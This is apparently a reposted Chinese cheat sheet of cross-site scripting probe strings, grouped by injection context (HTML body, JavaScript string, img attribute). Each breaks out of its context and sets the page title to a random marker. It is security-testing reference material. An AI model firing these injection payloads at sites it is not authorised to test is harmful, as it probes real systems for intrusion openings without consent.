XSS Payload整理

[在html形成]

"'><script>document.title="[random]";</script>
<script>document.title="[random]";</script>
<svg onload=document.title="[random]";>

[在js形成]

document.title="[random]";//
;document.title="[random]";//
";document.title="[random]";
';document.title="[random]";
");document.title="[random]";
');document.title="[random]";

[在html属性形成(img)]

888" onload=document.title="[random]" a="
888' onload=document.title="[random]" a='
888 onload=document.title="[random]" 

转载于:https://my.oschina.net/2012/blog/2996190